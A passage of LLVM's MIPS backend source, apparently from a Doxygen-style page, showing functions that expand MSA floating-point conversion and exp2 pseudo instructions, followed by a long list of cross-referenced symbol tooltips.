3502 // spill and reload can expand as a GPR64 operand. Examine the
3503 // operand in detail and default to ABI.
3504 const TargetRegisterClass *RC =
3505 MI.getOperand(1).isReg() ? RegInfo.getRegClass(MI.getOperand(1).getReg())
3506 : (Subtarget.isABI_O32() ? &Mips::GPR32RegClass
3507 : &Mips::GPR64RegClass);
3508
3509 const bool UsingMips32 = RC == &Mips::GPR32RegClass;
3510 unsigned Rt = RegInfo.createVirtualRegister(RC);
3511
3512 MachineInstrBuilder MIB =
3513 BuildMI(*BB, MI, DL, TII->get(UsingMips32 ? Mips::LH : Mips::LH64), Rt);
3514 for (unsigned i = 1; i < MI.getNumOperands(); i++)
3515 MIB.add(MI.getOperand(i));
3516
3517 if(!UsingMips32) {
3518 unsigned Tmp = RegInfo.createVirtualRegister(&Mips::GPR32RegClass);
3519 BuildMI(*BB, MI, DL, TII->get(Mips::COPY), Tmp).addReg(Rt, 0, Mips::sub_32);
3520 Rt = Tmp;
3521 }
3522
3523 BuildMI(*BB, MI, DL, TII->get(Mips::FILL_H), Wd).addReg(Rt);
3524
3525 MI.eraseFromParent();
3526 return BB;
3527 }
3528
3529 // Emit the FPROUND_PSEUDO instruction.
3530 //
3531 // Round an FGR64Opnd, FGR32Opnd to an f16.
3532 //
3533 // Safety: Cycle the operand through the GPRs so the result always ends up
3534 // the correct MSA register.
3535 //
3536 // FIXME: This copying is strictly unnecessary. If we could tie FGR32Opnd:$Fs
3537 // / FGR64Opnd:$Fs and MSA128F16:$Wd to the same physical register
3538 // (which they can be, as the MSA registers are defined to alias the
3539 // FPU's 64 bit and 32 bit registers) the result can be accessed using
3540 // the correct register class. That requires operands be tie-able across
3541 // register classes which have a sub/super register class relationship.
3542 //
3543 // For FPG32Opnd:
3544 //
3545 // FPROUND MSA128F16:$wd, FGR32Opnd:$fs
3546 // =>
3547 // mfc1 $rtemp, $fs
3548 // fill.w $rtemp, $wtemp
3549 // fexdo.w $wd, $wtemp, $wtemp
3550 //
3551 // For FPG64Opnd on mips32r2+:
3552 //
3553 // FPROUND MSA128F16:$wd, FGR64Opnd:$fs
3554 // =>
3555 // mfc1 $rtemp, $fs
3556 // fill.w $rtemp, $wtemp
3557 // mfhc1 $rtemp2, $fs
3558 // insert.w $wtemp[1], $rtemp2
3559 // insert.w $wtemp[3], $rtemp2
3560 // fexdo.w $wtemp2, $wtemp, $wtemp
3561 // fexdo.h $wd, $temp2, $temp2
3562 //
3563 // For FGR64Opnd on mips64r2+:
3564 //
3565 // FPROUND MSA128F16:$wd, FGR64Opnd:$fs
3566 // =>
3567 // dmfc1 $rtemp, $fs
3568 // fill.d $rtemp, $wtemp
3569 // fexdo.w $wtemp2, $wtemp, $wtemp
3570 // fexdo.h $wd, $wtemp2, $wtemp2
3571 //
3572 // Safety note: As $wtemp is UNDEF, we may provoke a spurious exception if the
3573 // undef bits are "just right" and the exception enable bits are
3574 // set. By using fill.w to replicate $fs into all elements over
3575 // insert.w for one element, we avoid that potiential case. If
3576 // fexdo.[hw] causes an exception in, the exception is valid and it
3577 // occurs for all elements.
3579 MipsSETargetLowering::emitFPROUND_PSEUDO(MachineInstr &MI,
3580 MachineBasicBlock *BB,
3581 bool IsFGR64) const {
3582
3583 // Strictly speaking, we need MIPS32R5 to support MSA. We'll be generous
3584 // here. It's technically doable to support MIPS32 here, but the ISA forbids
3585 // it.
3587
3588 bool IsFGR64onMips64 = Subtarget.hasMips64() && IsFGR64;
3589 bool IsFGR64onMips32 = !Subtarget.hasMips64() && IsFGR64;
3590
3592 DebugLoc DL = MI.getDebugLoc();
3593 unsigned Wd = MI.getOperand(0).getReg();
3594 unsigned Fs = MI.getOperand(1).getReg();
3595
3596 MachineRegisterInfo &RegInfo = BB->getParent()->getRegInfo();
3597 unsigned Wtemp = RegInfo.createVirtualRegister(&Mips::MSA128WRegClass);
3598 const TargetRegisterClass *GPRRC =
3599 IsFGR64onMips64 ? &Mips::GPR64RegClass : &Mips::GPR32RegClass;
3600 unsigned MFC1Opc = IsFGR64onMips64
3601 ? Mips::DMFC1
3602 : (IsFGR64onMips32 ? Mips::MFC1_D64 : Mips::MFC1);
3603 unsigned FILLOpc = IsFGR64onMips64 ? Mips::FILL_D : Mips::FILL_W;
3604
3605 // Perform the register class copy as mentioned above.
3606 unsigned Rtemp = RegInfo.createVirtualRegister(GPRRC);
3607 BuildMI(*BB, MI, DL, TII->get(MFC1Opc), Rtemp).addReg(Fs);
3608 BuildMI(*BB, MI, DL, TII->get(FILLOpc), Wtemp).addReg(Rtemp);
3609 unsigned WPHI = Wtemp;
3610
3611 if (IsFGR64onMips32) {
3612 unsigned Rtemp2 = RegInfo.createVirtualRegister(GPRRC);
3613 BuildMI(*BB, MI, DL, TII->get(Mips::MFHC1_D64), Rtemp2).addReg(Fs);
3614 unsigned Wtemp2 = RegInfo.createVirtualRegister(&Mips::MSA128WRegClass);
3615 unsigned Wtemp3 = RegInfo.createVirtualRegister(&Mips::MSA128WRegClass);
3616 BuildMI(*BB, MI, DL, TII->get(Mips::INSERT_W), Wtemp2)
3617 .addReg(Wtemp)
3618 .addReg(Rtemp2)
3619 .addImm(1);
3620 BuildMI(*BB, MI, DL, TII->get(Mips::INSERT_W), Wtemp3)
3621 .addReg(Wtemp2)
3622 .addReg(Rtemp2)
3623 .addImm(3);
3624 WPHI = Wtemp3;
3625 }
3626
3627 if (IsFGR64) {
3628 unsigned Wtemp2 = RegInfo.createVirtualRegister(&Mips::MSA128WRegClass);
3629 BuildMI(*BB, MI, DL, TII->get(Mips::FEXDO_W), Wtemp2)
3630 .addReg(WPHI)
3631 .addReg(WPHI);
3632 WPHI = Wtemp2;
3633 }
3634
3635 BuildMI(*BB, MI, DL, TII->get(Mips::FEXDO_H), Wd).addReg(WPHI).addReg(WPHI);
3636
3637 MI.eraseFromParent();
3638 return BB;
3639 }
3640
3641 // Emit the FPEXTEND_PSEUDO instruction.
3642 //
3643 // Expand an f16 to either a FGR32Opnd or FGR64Opnd.
3644 //
3645 // Safety: Cycle the result through the GPRs so the result always ends up
3646 // the correct floating point register.
3647 //
3648 // FIXME: This copying is strictly unnecessary. If we could tie FGR32Opnd:$Fd
3649 // / FGR64Opnd:$Fd and MSA128F16:$Ws to the same physical register
3650 // (which they can be, as the MSA registers are defined to alias the
3651 // FPU's 64 bit and 32 bit registers) the result can be accessed using
3652 // the correct register class. That requires operands be tie-able across
3653 // register classes which have a sub/super register class relationship. I
3654 // haven't checked.
3655 //
3656 // For FGR32Opnd:
3657 //
3658 // FPEXTEND FGR32Opnd:$fd, MSA128F16:$ws
3659 // =>
3660 // fexupr.w $wtemp, $ws
3661 // copy_s.w $rtemp, $ws[0]
3662 // mtc1 $rtemp, $fd
3663 //
3664 // For FGR64Opnd on Mips64:
3665 //
3666 // FPEXTEND FGR64Opnd:$fd, MSA128F16:$ws
3667 // =>
3668 // fexupr.w $wtemp, $ws
3669 // fexupr.d $wtemp2, $wtemp
3670 // copy_s.d $rtemp, $wtemp2s[0]
3671 // dmtc1 $rtemp, $fd
3672 //
3673 // For FGR64Opnd on Mips32:
3674 //
3675 // FPEXTEND FGR64Opnd:$fd, MSA128F16:$ws
3676 // =>
3677 // fexupr.w $wtemp, $ws
3678 // fexupr.d $wtemp2, $wtemp
3679 // copy_s.w $rtemp, $wtemp2[0]
3680 // mtc1 $rtemp, $ftemp
3681 // copy_s.w $rtemp2, $wtemp2[1]
3682 // $fd = mthc1 $rtemp2, $ftemp
3684 MipsSETargetLowering::emitFPEXTEND_PSEUDO(MachineInstr &MI,
3685 MachineBasicBlock *BB,
3686 bool IsFGR64) const {
3687
3688 // Strictly speaking, we need MIPS32R5 to support MSA. We'll be generous
3689 // here. It's technically doable to support MIPS32 here, but the ISA forbids
3690 // it.
3692
3693 bool IsFGR64onMips64 = Subtarget.hasMips64() && IsFGR64;
3694 bool IsFGR64onMips32 = !Subtarget.hasMips64() && IsFGR64;
3695
3697 DebugLoc DL = MI.getDebugLoc();
3698 unsigned Fd = MI.getOperand(0).getReg();
3699 unsigned Ws = MI.getOperand(1).getReg();
3700
3701 MachineRegisterInfo &RegInfo = BB->getParent()->getRegInfo();
3702 const TargetRegisterClass *GPRRC =
3703 IsFGR64onMips64 ? &Mips::GPR64RegClass : &Mips::GPR32RegClass;
3704 unsigned MTC1Opc = IsFGR64onMips64
3705 ? Mips::DMTC1
3706 : (IsFGR64onMips32 ? Mips::MTC1_D64 : Mips::MTC1);
3707 unsigned COPYOpc = IsFGR64onMips64 ? Mips::COPY_S_D : Mips::COPY_S_W;
3708
3709 unsigned Wtemp = RegInfo.createVirtualRegister(&Mips::MSA128WRegClass);
3710 unsigned WPHI = Wtemp;
3711
3712 BuildMI(*BB, MI, DL, TII->get(Mips::FEXUPR_W), Wtemp).addReg(Ws);
3713 if (IsFGR64) {
3714 WPHI = RegInfo.createVirtualRegister(&Mips::MSA128DRegClass);
3715 BuildMI(*BB, MI, DL, TII->get(Mips::FEXUPR_D), WPHI).addReg(Wtemp);
3716 }
3717
3718 // Perform the safety regclass copy mentioned above.
3719 unsigned Rtemp = RegInfo.createVirtualRegister(GPRRC);
3720 unsigned FPRPHI = IsFGR64onMips32
3721 ? RegInfo.createVirtualRegister(&Mips::FGR64RegClass)
3722 : Fd;
3723 BuildMI(*BB, MI, DL, TII->get(COPYOpc), Rtemp).addReg(WPHI).addImm(0);
3724 BuildMI(*BB, MI, DL, TII->get(MTC1Opc), FPRPHI).addReg(Rtemp);
3725
3726 if (IsFGR64onMips32) {
3727 unsigned Rtemp2 = RegInfo.createVirtualRegister(GPRRC);
3728 BuildMI(*BB, MI, DL, TII->get(Mips::COPY_S_W), Rtemp2)
3729 .addReg(WPHI)
3730 .addImm(1);
3731 BuildMI(*BB, MI, DL, TII->get(Mips::MTHC1_D64), Fd)
3732 .addReg(FPRPHI)
3733 .addReg(Rtemp2);
3734 }
3735
3736 MI.eraseFromParent();
3737 return BB;
3738 }
3739
3740 // Emit the FEXP2_W_1 pseudo instructions.
3741 //
3742 // fexp2_w_1_pseudo $wd, $wt
3743 // =>
3744 // ldi.w $ws, 1
3745 // fexp2.w $wd, $ws, $wt
3747 MipsSETargetLowering::emitFEXP2_W_1(MachineInstr &MI,
3748 MachineBasicBlock *BB) const {
3750 MachineRegisterInfo &RegInfo = BB->getParent()->getRegInfo();
3751 const TargetRegisterClass *RC = &Mips::MSA128WRegClass;
3752 unsigned Ws1 = RegInfo.createVirtualRegister(RC);
3753 unsigned Ws2 = RegInfo.createVirtualRegister(RC);
3754 DebugLoc DL = MI.getDebugLoc();
3755
3756 // Splat 1.0 into a vector
3757 BuildMI(*BB, MI, DL, TII->get(Mips::LDI_W), Ws1).addImm(1);
3758 BuildMI(*BB, MI, DL, TII->get(Mips::FFINT_U_W), Ws2).addReg(Ws1);
3759
3760 // Emit 1.0 * fexp2(Wt)
3761 BuildMI(*BB, MI, DL, TII->get(Mips::FEXP2_W), MI.getOperand(0).getReg())
3762 .addReg(Ws2)
3763 .addReg(MI.getOperand(1).getReg());
3764
3765 MI.eraseFromParent(); // The pseudo instruction is gone now.
3766 return BB;
3767 }
3768
3769 // Emit the FEXP2_D_1 pseudo instructions.
3770 //
3771 // fexp2_d_1_pseudo $wd, $wt
3772 // =>
3773 // ldi.d $ws, 1
3774 // fexp2.d $wd, $ws, $wt
3776 MipsSETargetLowering::emitFEXP2_D_1(MachineInstr &MI,
3777 MachineBasicBlock *BB) const {
3779 MachineRegisterInfo &RegInfo = BB->getParent()->getRegInfo();
3780 const TargetRegisterClass *RC = &Mips::MSA128DRegClass;
3781 unsigned Ws1 = RegInfo.createVirtualRegister(RC);
3782 unsigned Ws2 = RegInfo.createVirtualRegister(RC);
3783 DebugLoc DL = MI.getDebugLoc();
3784
3785 // Splat 1.0 into a vector
3786 BuildMI(*BB, MI, DL, TII->get(Mips::LDI_D), Ws1).addImm(1);
3787 BuildMI(*BB, MI, DL, TII->get(Mips::FFINT_U_D), Ws2).addReg(Ws1);
3788
3789 // Emit 1.0 * fexp2(Wt)
3790 BuildMI(*BB, MI, DL, TII->get(Mips::FEXP2_D), MI.getOperand(0).getReg())
3791 .addReg(Ws2)
3792 .addReg(MI.getOperand(1).getReg());
3793
3794 MI.eraseFromParent(); // The pseudo instruction is gone now.
3795 return BB;
3796 }
SDValue getStore(SDValue Chain, const SDLoc &dl, SDValue Val, SDValue Ptr, MachinePointerInfo PtrInfo, unsigned Alignment=0, MachineMemOperand::Flags MMOFlags=MachineMemOperand::MONone, const AAMDNodes &AAInfo=AAMDNodes())
Helper function to build ISD::STORE nodes.
const MipsTargetLowering * createMipsSETargetLowering(const MipsTargetMachine &TM, const MipsSubtarget &STI)
Fast - This calling convention attempts to make calls as fast as possible (e.g.
Definition: CallingConv.h:43
uint64_t CallInst * C
BITCAST - This operator converts between integer, vector and FP values, as if the value was stored to...
Definition: ISDOpcodes.h:545
static SDValue genConstMult(SDValue X, APInt C, const SDLoc &DL, EVT VT, EVT ShiftTy, SelectionDAG &DAG)
const MachineInstrBuilder & add(const MachineOperand &MO) const
BUILTIN_OP_END - This must be the last enum value in this list.
Definition: ISDOpcodes.h:834
FMINNUM/FMAXNUM - Perform floating-point minimum or maximum on two values.
Definition: ISDOpcodes.h:569
EVT getValueType() const
Return the ValueType of the referenced return value.
static GCMetadataPrinterRegistry::Add< ErlangGCPrinter > X("erlang", "erlang-compatible garbage collector")
void setLoadExtAction(unsigned ExtType, MVT ValVT, MVT MemVT, LegalizeAction Action)
Indicate that the specified load with extension does not work with the specified type and indicate wh...
EXTRACT_ELEMENT - This is used to get the lower or upper (determined by a Constant, which is required to be operand #1) half of the integer or float value specified as operand #0.
Definition: ISDOpcodes.h:184
uint64_t getZExtValue() const
Get zero extended value.
Definition: APInt.h:1542
unsigned getOpcode() const
Return the SelectionDAG opcode value for this node.
SDValue getSetCC(const SDLoc &DL, EVT VT, SDValue LHS, SDValue RHS, ISD::CondCode Cond)
Helper function to make it easier to build SetCC's if you just have an ISD::CondCode instead of an SD...
Definition: SelectionDAG.h:898
typename SuperClass::const_iterator const_iterator
Definition: SmallVector.h:329
const TargetRegisterClass * getRegClass(unsigned Reg) const
Return the register class of the specified virtual register.
const MipsSubtarget & Subtarget
bool isConstantSplat(APInt &SplatValue, APInt &SplatUndef, unsigned &SplatBitSize, bool &HasAnyUndefs, unsigned MinSplatBits=0, bool isBigEndian=false) const
Check if this is a constant splat, and if so, find the smallest element size that splats the vector...
LLVM_ATTRIBUTE_NORETURN void report_fatal_error(Error Err, bool gen_crash_diag=true)
Report a serious error, calling any installed error handler.
Definition: Error.cpp:115
BR_CC - Conditional branch.
Definition: ISDOpcodes.h:617
Compute iterated dominance frontiers using a linear time algorithm.
Definition: AllocatorList.h:24
value_iterator value_end() const
static SDValue initAccumulator(SDValue In, const SDLoc &DL, SelectionDAG &DAG)
bool allowsMisalignedMemoryAccesses(EVT VT, unsigned AS=0, unsigned Align=1, bool *Fast=nullptr) const override
Determine if the target supports unaligned memory accesses.
static SDValue performVSELECTCombine(SDNode *N, SelectionDAG &DAG)
VECTOR_SHUFFLE(VEC1, VEC2) - Returns a vector, of the same type as VEC1/VEC2.
Definition: ISDOpcodes.h:342
EVT getScalarType() const
If this is a vector type, return the element type, otherwise return this.
Definition: ValueTypes.h:260
virtual const TargetRegisterClass * getRepRegClassFor(MVT VT) const
Return the 'representative' register class for the specified value type.
LLVM_ATTRIBUTE_ALWAYS_INLINE size_type size() const
Definition: SmallVector.h:136
MachineBasicBlock * EmitInstrWithCustomInserter(MachineInstr &MI, MachineBasicBlock *MBB) const override
This method should be implemented by targets that mark instructions with the 'usesCustomInserter' fla...
unsigned createVirtualRegister(const TargetRegisterClass *RegClass)
createVirtualRegister - Create and return a new virtual register in the function with the specified r...
const SDValue & getBasePtr() const
EVT getValueType(unsigned ResNo) const
Return the type of a specified result.
const DebugLoc & getDebugLoc() const
Returns the debug location id of this MachineInstr.
Definition: MachineInstr.h:268
static SDValue performANDCombine(SDNode *N, SelectionDAG &DAG, TargetLowering::DAGCombinerInfo &DCI, const MipsSubtarget &Subtarget)
unsigned getReg() const
getReg - Returns the register number.
const SDValue & getValue() const
void transferSuccessorsAndUpdatePHIs(MachineBasicBlock *FromMBB)
Transfers all the successors, as in transferSuccessors, and update PHI operands in the successor bloc...
SDVTList getVTList() const
static APInt getLowBitsSet(unsigned numBits, unsigned loBitsSet)
Get a value with low bits set.
Definition: APInt.h:641
MVT getSimpleVT() const
Return the SimpleValueType held in the specified simple EVT.
Definition: ValueTypes.h:253
const MipsInstrInfo * getInstrInfo() const override
AAMDNodes getAAInfo() const
Returns the AA info that describes the dereference.
const SDValue & getChain() const
uint64_t getSize() const
Return the size in bytes of the memory reference.
bool isABI_O32() const
unsigned getAlignment() const
APInt trunc(unsigned width) const
Truncate to new width.
Definition: APInt.cpp:818
A debug info location.
Definition: DebugLoc.h:34
bool isInteger() const
Return true if this is an integer or a vector integer type.
Definition: ValueTypes.h:141
F(f)
MachineBasicBlock * EmitInstrWithCustomInserter(MachineInstr &MI, MachineBasicBlock *MBB) const override
This method should be implemented by targets that mark instructions with the 'usesCustomInserter' fla...
SDNode * getNode() const
get the SDNode which holds the desired result
SDValue getNode(unsigned Opcode, const SDLoc &DL, EVT VT, ArrayRef< SDUse > Ops)
Gets or creates the specified node.
SDValue PerformDAGCombine(SDNode *N, DAGCombinerInfo &DCI) const override
This method will be invoked for all target nodes and for any target-independent nodes that the target...
MachineMemOperand * getMemOperand() const
Return a MachineMemOperand object describing the memory reference performed by operation.
OUTCHAIN = ATOMIC_FENCE(INCHAIN, ordering, scope) This corresponds to the fence instruction.
Definition: ISDOpcodes.h:748
Select with condition operator - This selects between a true value and a false value (ops #2 and #3) ...
Definition: ISDOpcodes.h:404
unsigned getBitWidth() const
Return the number of bits in the APInt.
Definition: APInt.h:1488
This SDNode is used to implement the code generator support for the llvm IR shufflevector instruction...
void setTruncStoreAction(MVT ValVT, MVT MemVT, LegalizeAction Action)
Indicate that the specified truncating store does not work with the specified type and indicate what ...
void printrWithDepth(raw_ostream &O, const SelectionDAG *G=nullptr, unsigned depth=100) const
Print a SelectionDAG node and children up to depth "depth." The given SelectionDAG allows target-spec...
RESULT,OUTCHAIN = INTRINSIC_W_CHAIN(INCHAIN, INTRINSICID, arg1, ...) This node represents a target in...
Definition: ISDOpcodes.h:159
const Triple & getTargetTriple() const
getTargetTriple - Return the target triple string.
SDValue LowerOperation(SDValue Op, SelectionDAG &DAG) const override
LowerOperation - Provide custom lowering hooks for some operations.
bool hasMips64() const
SDIVREM/UDIVREM - Divide two integers and produce both a quotient and remainder result.
Definition: ISDOpcodes.h:209
bool hasDSPR2() const
static SDValue lowerMSAStoreIntr(SDValue Op, SelectionDAG &DAG, unsigned Intr, const MipsSubtarget &Subtarget)
A description of a memory reference used in the backend.
const HexagonInstrInfo * TII
ArrayRef< T > makeArrayRef(const T &OneElt)
Construct an ArrayRef from a single element.
Definition: ArrayRef.h:451
Shift and rotation operations.
Definition: ISDOpcodes.h:379
unsigned getNumOperands() const
Access to explicit operands of the instruction.
Definition: MachineInstr.h:293
BUILD_PAIR - This is the opposite of EXTRACT_ELEMENT in some ways.
Definition: ISDOpcodes.h:190
This class consists of common code factored out of the SmallVector class to reduce code duplication b...
Definition: APFloat.h:42
void eraseFromParent()
Unlink 'this' from the containing basic block and delete it.
unsigned getScalarValueSizeInBits() const
bool isGP64bit() const
void setCondCodeAction(ISD::CondCode CC, MVT VT, LegalizeAction Action)
Indicate that the specified condition code is or isn't supported on the target and indicate what to d...
SimpleValueType SimpleTy
static SDValue lowerMSABitClearImm(SDValue Op, SelectionDAG &DAG)
bool hasMips32r6() const
static bool isConstantOrUndefBUILD_VECTOR(const BuildVectorSDNode *Op)
unsigned getOpcode() const
Returns the opcode of this MachineInstr.
Definition: MachineInstr.h:290
void setOperationAction(unsigned Op, MVT VT, LegalizeAction Action)
Indicate that the specified operation does not work with the specified type and indicate what to do a...
const DataLayout & getDataLayout() const
Definition: SelectionDAG.h:388
MachineMemOperand * getMachineMemOperand(MachinePointerInfo PtrInfo, MachineMemOperand::Flags f, uint64_t s, unsigned base_alignment, const AAMDNodes &AAInfo=AAMDNodes(), const MDNode *Ranges=nullptr, SyncScope::ID SSID=SyncScope::System, AtomicOrdering Ordering=AtomicOrdering::NotAtomic, AtomicOrdering FailureOrdering=AtomicOrdering::NotAtomic)
getMachineMemOperand - Allocate a new MachineMemOperand.
This file implements a class to represent arbitrary precision integral constant values and operations...
static SDValue lowerVECTOR_SHUFFLE_VSHF(SDValue Op, EVT ResTy, SmallVector< int, 16 > Indices, SelectionDAG &DAG)
SDValue getMergeValues(ArrayRef< SDValue > Ops, const SDLoc &dl)
Create a MERGE_VALUES node from the given operands.
unsigned getScalarSizeInBits() const
Definition: ValueTypes.h:298
unsigned getSizeInBits() const
Return the size of the specified value type in bits.
Definition: ValueTypes.h:292
static bool isVSplat(SDValue N, APInt &Imm, bool IsLittleEndian)
[SU]INT_TO_FP - These operators convert integers (whose interpreted sign depends on the first letter)...
Definition: ISDOpcodes.h:455
void computeRegisterProperties(const TargetRegisterInfo *TRI)
Once all of the register classes are added, this allows us to compute derived properties we expose...
Select with a vector condition (op #0) and two vector operands (ops #1 and #2), returning a vector re...
Definition: ISDOpcodes.h:398
static bool isVECTOR_SHUFFLE_SPLATI(SDValue Op, EVT ResTy, SmallVector< int, 16 > Indices, SelectionDAG &DAG)
Simple integer binary arithmetic operators.
Definition: ISDOpcodes.h:200
static bool isConstantOrUndef(const SDValue Op)
unsigned getIncomingArgSize() const
SDValue getUNDEF(EVT VT)
Return an UNDEF node. UNDEF does not have a useful SDLoc.
Definition: SelectionDAG.h:830
CondCode
ISD::CondCode enum - These are ordered carefully to make the bitfields below work out...
Definition: ISDOpcodes.h:916
TargetConstant* - Like Constant*, but the DAG does not do any folding, simplification, or lowering of the constant.
Definition: ISDOpcodes.h:125
SDValue getTargetConstant(uint64_t Val, const SDLoc &DL, EVT VT, bool isOpaque=false)
Definition: SelectionDAG.h:558
static SDValue lowerVECTOR_SHUFFLE_ILVR(SDValue Op, EVT ResTy, SmallVector< int, 16 > Indices, SelectionDAG &DAG)
amdgpu Simplify well known AMD library false Value * Callee
RESULT = INTRINSIC_WO_CHAIN(INTRINSICID, arg1, arg2, ...) This node represents a target intrinsic fun...
Definition: ISDOpcodes.h:151
MachineBasicBlock * CreateMachineBasicBlock(const BasicBlock *bb=nullptr)
CreateMachineBasicBlock - Allocate a new MachineBasicBlock.
This class is used to represent ISD::STORE nodes.
FP_TO_[US]INT - Convert a floating point value to a signed or unsigned integer.
Definition: ISDOpcodes.h:498
BUILD_VECTOR(ELT0, ELT1, ELT2, ELT3,...) - Return a vector with the specified, possibly variable...
Definition: ISDOpcodes.h:302
TargetInstrInfo - Interface to description of machine instruction set.
static APInt getHighBitsSet(unsigned numBits, unsigned hiBitsSet)
Get a value with high bits set.
Definition: APInt.h:629
static SDValue performORCombine(SDNode *N, SelectionDAG &DAG, TargetLowering::DAGCombinerInfo &DCI, const MipsSubtarget &Subtarget)
static SDValue lowerMSASplatImm(SDValue Op, unsigned ImmOp, SelectionDAG &DAG, bool IsSigned=false)
virtual void getOpndList(SmallVectorImpl< SDValue > &Ops, std::deque< std::pair< unsigned, SDValue >> &RegsToPass, bool IsPICCall, bool GlobalOrExternal, bool InternalLinkage, bool IsCallReloc, CallLoweringInfo &CLI, SDValue Callee, SDValue Chain) const
This function fills Ops, which is the list of operands that will later be used when a function call n...
MachineInstrBuilder BuildMI(MachineFunction &MF, const DebugLoc &DL, const MCInstrDesc &MCID)
Builder interface. Specify how to create the initial instruction itself.
static MDTuple * get(LLVMContext &Context, ArrayRef< Metadata *> MDs)
Definition: Metadata.h:1164
bool isNegative() const
Determine sign of this APInt.
Definition: APInt.h:357
const SDValue & getBasePtr() const
initializer< Ty > init(const Ty &Val)
Definition: CommandLine.h:406
OUTCHAIN = INTRINSIC_VOID(INCHAIN, INTRINSICID, arg1, arg2, ...) This node represents a target intrin...
Definition: ISDOpcodes.h:166
bool isAllOnesValue() const
Determine if all bits are set.
Definition: APInt.h:389
static GCRegistry::Add< OcamlGC > B("ocaml", "ocaml 3.10-compatible GC")
static SDValue lowerVECTOR_SHUFFLE_ILVEV(SDValue Op, EVT ResTy, SmallVector< int, 16 > Indices, SelectionDAG &DAG)
MVT getPointerTy(const DataLayout &DL, uint32_t AS=0) const
Return the pointer type for the given address space, defaults to the pointer type from the data layou...
static SDValue lowerDSPIntr(SDValue Op, SelectionDAG &DAG, unsigned Opc)
Machine Value Type.
bool isLittleEndian() const
Tests whether the target triple is little endian.
Definition: Triple.cpp:1470
LLVM Basic Block Representation.
Definition: BasicBlock.h:59
static SDValue lowerMSALoadIntr(SDValue Op, SelectionDAG &DAG, unsigned Intr, const MipsSubtarget &Subtarget)
static SDValue getBuildVectorSplat(EVT VecTy, SDValue SplatValue, bool BigEndian, SelectionDAG &DAG)
void addRegisterClass(MVT VT, const TargetRegisterClass *RC)
Add the specified register class as an available regclass for the specified value type...
Simple binary floating point operators.
Definition: ISDOpcodes.h:259
void setTargetDAGCombine(ISD::NodeType NT)
Targets should invoke this method for each target independent node that they want to provide a custom...
static bool isLegalDSPCondCode(EVT Ty, ISD::CondCode CC)
unsigned getVectorNumElements() const
Given a vector type, return the number of elements it contains.
Definition: ValueTypes.h:273
static GCRegistry::Add< CoreCLRGC > E("coreclr", "CoreCLR-compatible GC")
LLVM_ATTRIBUTE_ALWAYS_INLINE iterator begin()
Definition: SmallVector.h:116
const SDValue & getOperand(unsigned Num) const
INSERT_VECTOR_ELT(VECTOR, VAL, IDX) - Returns VECTOR with the element at IDX replaced with VAL...
Definition: ISDOpcodes.h:307
static bool isVectorAllOnes(SDValue N)
static SDValue lowerVECTOR_SHUFFLE_PCKEV(SDValue Op, EVT ResTy, SmallVector< int, 16 > Indices, SelectionDAG &DAG)
static const unsigned End
const APInt & getAPIntValue() const
static SDValue performSRACombine(SDNode *N, SelectionDAG &DAG, TargetLowering::DAGCombinerInfo &DCI, const MipsSubtarget &Subtarget)
static mvt_range vector_valuetypes()
X = FP_EXTEND(Y) - Extend a smaller FP type into a larger FP type.
Definition: ISDOpcodes.h:530
SDValue lowerLOAD(SDValue Op, SelectionDAG &DAG) const
Extended Value Type.
Definition: ValueTypes.h:34
static bool fitsRegularPattern(typename SmallVectorImpl< ValType >::const_iterator Begin, unsigned CheckStride, typename SmallVectorImpl< ValType >::const_iterator End, ValType ExpectedIndex, unsigned ExpectedIndexStride)
Determine whether a range fits a regular pattern of values.
bool isSingleFloat() const
unsigned ceilLogBase2() const
Definition: APInt.h:1730
This structure contains all information that is necessary for lowering calls.
bool hasMips64r6() const
This class contains a discriminated union of information about pointers in memory operands...
unsigned getNumOperands() const
Return the number of values used by this operation.
#define llvm_unreachable(msg)
Marks that the current location is not supposed to be reachable.
APInt lshr(unsigned shiftAmt) const
Logical right-shift function.
Definition: APInt.h:959
SDValue getLoad(EVT VT, const SDLoc &dl, SDValue Chain, SDValue Ptr, MachinePointerInfo PtrInfo, unsigned Alignment=0, MachineMemOperand::Flags MMOFlags=MachineMemOperand::MONone, const AAMDNodes &AAInfo=AAMDNodes(), const MDNode *Ranges=nullptr)
Loads are not normal binary operators: their result type is not determined by their operands...
bool isBuildVectorAllOnes(const SDNode *N)
Return true if the specified node is a BUILD_VECTOR where all of the elements are ~0 or undef...
Iterator for intrusive lists based on ilist_node.
CCState - This class holds information needed while lowering arguments and return values...
void addSuccessor(MachineBasicBlock *Succ, BranchProbability Prob=BranchProbability::getUnknown())
Add Succ as a successor of this MachineBasicBlock.
static SDValue truncateVecElts(SDValue Op, SelectionDAG &DAG)
static SDValue performSHLCombine(SDNode *N, SelectionDAG &DAG, TargetLowering::DAGCombinerInfo &DCI, const MipsSubtarget &Subtarget)
bool isLittle() const
mmo_iterator memoperands_begin() const
Access to memory operands of the instruction.
Definition: MachineInstr.h:389
const MipsRegisterInfo * getRegisterInfo() const override
EXTRACT_VECTOR_ELT(VECTOR, IDX) - Returns a single element from VECTOR identified by the (potentially...
Definition: ISDOpcodes.h:314
EVT getVectorElementType() const
Given a vector type, return the type of each element.
Definition: ValueTypes.h:265
static SDValue performMULCombine(SDNode *N, SelectionDAG &DAG, const TargetLowering::DAGCombinerInfo &DCI, const MipsSETargetLowering *TL)
double Log2(double Value)
Return the log base 2 of the specified value.
Definition: MathExtras.h:520
This is used to represent a portion of an LLVM function in a low-level Data Dependence DAG representa...
Definition: SelectionDAG.h:209
value_iterator value_begin() const
This is a 'vector' (really, a variable-sized array), optimized for the case when the array is small...
Definition: SmallVector.h:864
SDValue getBuildVector(EVT VT, const SDLoc &DL, ArrayRef< SDValue > Ops)
Return an ISD::BUILD_VECTOR node.
Definition: SelectionDAG.h:712
static SDValue lowerMSABitClear(SDValue Op, SelectionDAG &DAG)
constexpr size_t array_lengthof(T(&)[N])
Find the length of an array.
Definition: STLExtras.h:720
bool hasCnMips() const
EVT changeVectorElementTypeToInteger() const
Return a vector with the same number of elements as this vector, but with the element type converted ...
Definition: ValueTypes.h:96
BRCOND - Conditional branch.
Definition: ISDOpcodes.h:611
const MachineInstrBuilder & addMemOperand(MachineMemOperand *MMO) const
Wrapper class for IR location info (IR ordering and DebugLoc) to be passed into SDNode creation funct...
static SDValue lowerMSACopyIntr(SDValue Op, SelectionDAG &DAG, unsigned Opc)
Represents one node in the SelectionDAG.
SDValue getNOT(const SDLoc &DL, SDValue Val, EVT VT)
Create a bitwise NOT operation as (XOR Val, -1).
int64_t getImm() const
SDValue LowerOperation(SDValue Op, SelectionDAG &DAG) const override
LowerOperation - Provide custom lowering hooks for some operations.
bool hasDSP() const
